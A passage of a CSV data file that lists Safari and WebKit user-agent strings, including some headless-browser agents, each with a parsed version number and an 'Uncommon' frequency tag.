Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko, Safari/6534.59.10) ADM/763\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46.60.1 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.2 Safari/605.1.15\",11.2,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_4 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8K2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\",3,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B87 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4\",9,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5225a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17,gzip(gfe)\",6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) demobrowser/0.1 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/11.0 Mobile/15A5318g Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko, Safari/8536.30.1) ADM/763\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/602.1.35 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.4\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 Safari/601.1.46\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5214d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E5269a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone) AppleWebKit (KHTML, like Gecko) Mobile Safari/jtrip-app-1.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/603.1.20 (KHTML, like Gecko) Safari/603.1.20\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/11.2.2 Safari/601.3.9\",11.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.6 (KHTML, like Gecko) Version/10.0 Mobile/14G5057a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/10.0.2 Safari/601.3.9\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 EdgiOS/41.8.0.0 Mobile/15C202 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) python Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_9 rv:5.0; ar-ae)  AppleWebKit/537.2.1 (KHTML, like Gecko) Version/6.0.4 Safari/537.2.1\",6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) CasperJS/1.1.4+PhantomJS/2.1.1 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/604.1.6 (KHTML, like Gecko) Version/10.2 Safari/604.1.6\",10.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_12_6 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.1.3 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C92 Safari/602.3.12\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5335b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1 AlohaBrowser/2.0\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.39 (KHTML, like Gecko) Version/9.0 Safari/601.1.39\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.43 (KHTML, like Gecko) Version/10.0 Mobile/14A5322e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU 0S 5_0_1 like Mac OS X) AppleWebkit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko)  Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.3 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.3\",11,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; ar) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.1.7 Safari/537.75.14\",7.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1     this is fake UA, get mad to the dev @EmojiDesu\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F65 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/11.00 Safari/601.7.7\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A5304i Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.2 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.5.71150 Mobile/11B554a Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) webinfo7 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Safari/535.2 wke/1.0\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5191d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; fr-fr) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3\",3.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0(iPad; U; CPU OS 3_2 like Mac OS X; en-us)AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4Mobile/7B334b Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.52 (KHTML, like Gecko) Version/9.0 Safari/601.1.52\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; zh-cn) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/535.3 (KHTML, like Gecko) Version/5.0.1 Safari/535.3\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.4 (KHTML, like Gecko) Version/10.0 Mobile/14G5047a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/602.1.50 (KHTML, like Gecko) Safari/602.1.50\",,Uncommon\n\"Mozilla/5.0 (Windows; chromeframe/2.0.0.0) AppleWebKit/1.0 (KHTML, like Gecko) Bromium Safari/1.0\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5234a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.50 (KHTML, like Gecko) Version/9.0 Safari/601.1.50\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/6.2.8 Safari/537.85.17\",6.2,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420  (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\",3,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPhone OS 9.3.2 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 SellOnEtsy/2.38 rv:23800.40.0\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS_5 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version 5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; pl-pl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/535.3 (KHTML, like Gecko) Version/5.1.7 Safari/535.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nl-nl) AppleWebKit/534.52.7 (KHTML, like Gecko) Fluid/0.9.6 Safari/534.52.7\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_11_6 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; pt-br) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/11.0.1 Safari/601.2.7\",11,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/10.1.2 Mobile/10A5376e Safari/8536.25\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10602.3.12.0.1 Safari/10602.3.12.0.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 FOH:R017\",4,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/604.1.17 (KHTML, like Gecko) Version/10.2 Safari/604.1.17\",10.2,Uncommon\n\"Mozilla/5.0 (iPhone; iPhone OS 5_0) AppleWebKit/535.7 (KHTML, like Gecko) Version/5.1 Mobile Safari/7354.48\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/528.4.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/1.1.2.64598 Mobile/11B511 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12\",8,Uncommon\n\"Mozilla/5.0 (webOS/1.4.5; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pre/1.0\",1.0,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C5110b Safari/604.1\",11,Uncommon\n\"Mozilla / 5.0(Macintosh; U; Intel Mac OS X 10_5_5; en - us) AppleWebKit / 525.25(KHTML, like Gecko) Version / 3.2 Safari / 525.25\",,Uncommon\n\"Mozilla/5.0 (Windows; chromeframe/2.4.8.5729) AppleWebKit/1.0 (KHTML, like Gecko) Bromium Safari/1.0\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) PokerGameClient Safari/537.21\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; pt-br) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; es_ES) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; es-es) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; fi-fi) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Mobile/14A5261v Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/605.1 (KHTML, like Gecko) Version/11.0 Safari/605.1 Surf/2.0\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.22 (KHTML, like Gecko) Version/8.0 Safari/600.1.22\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mobile: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4.11.10 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 7.0.4 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) 1Password/4.3.2 (like Version/11B554a Mobile/7.0.4 Safari/8536.25)\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9.2.1 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 EtsyInc/4.34 rv:43400.94.0\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Superbird/28.0.1500.71 Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/10.1.2 Safari/537.75.14\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5 bdbrowser/6.4.0.4\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPad OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/10.1 EdgiOS/41.1.0.35 Mobile/15A432 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/10.0 Mobile/12A366 Safari/600.1.4\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 3gpp-gba\",3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Safari/534.34 PhantomJS/2.0.0 (PhantomJsCloud.com/2.0.1)\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/4.0.2 Mobile/8C148 Safari/6533.18.5\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/(null) (KHTML, like Gecko) Version/(null) Mobile/(null) Safari/(null)\",,Uncommon\nSafari/9.1.3,,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.16 (KHTML, like Gecko) Version/8.0 Mobile/13A171a Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J3 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) MxNitro/1.0.0.300 Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; zh-cn) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RelIdApp/3.1.9 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/602.3.12 (KHTML, like Gecko) Safari/602.3.12\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/11.0.1 Safari/601.2.7\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22\",5.1,Uncommon\n\"Mozilla/5.0 